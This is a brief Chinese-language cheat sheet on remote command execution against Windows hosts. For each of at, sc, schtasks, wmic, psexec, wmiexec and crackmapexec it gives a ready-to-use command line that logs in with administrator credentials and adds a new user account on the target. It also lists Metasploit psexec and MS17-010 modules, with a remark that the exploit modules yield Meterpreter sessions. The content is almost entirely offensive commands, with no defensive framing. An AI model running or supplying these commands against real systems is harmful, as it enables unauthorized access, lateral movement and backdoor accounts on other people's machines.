Windows 常用远程执行命令的手段
Contents
windows 下远程执行命令的一些方法.
at
历史久远.
net use \\192.168.1.100\ipc$ 123456 /user:administrator
at \\192.168.1.100 12:00 net user test test /add
注意 at 后的命令无须加引号.
sc
运行服务.
net use \\192.168.1.100\ipc$ 123456 /user:administrator
sc \\192.168.1.100 create test binPath= "cmd.exe /c net user test test /add"
sc \\192.168.1.100 start test
schtasks
用于替代 at
schtasks /S 192.168.1.100 /U administrator /P 123456 /TN test /TR "cmd.exe /c net user test test /add" /SC ONCE /ST 12:00
wmic
Windows Management Instrumentation Cli.
wmic /node:192.168.1.100 /user:administrator /password:123456 process call create "cmd.exe /c net user test test /add"
psexec
会留日志.
psexec \\192.168.1.100 -u administrator -p 123456 net user test test /add
注意 psexec 后的命令无须加引号.
wmiexec
wmic 的可回显版本.
cscript wmiexec.vbs /cmd 192.168.1.100 administrator 123456 "net user test test /add"
crackmapexec
不仅限于远程执行命令.
crackmapexec 192.168.1.100 -u administrator -p 123456 -x "net user test test /add"
Metasploit
Metasploit 中针对 psexec 的利用模块.
auxiliary/admin/smb/ms17_010_command
auxiliary/admin/smb/psexec_command
exploit/windows/smb/ms17_010_psexec
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh
简单说一下 auxiliary 和 exploit 的区别, 前者仅限于执行命令, 而后者可以反弹 Meterpreter 会话.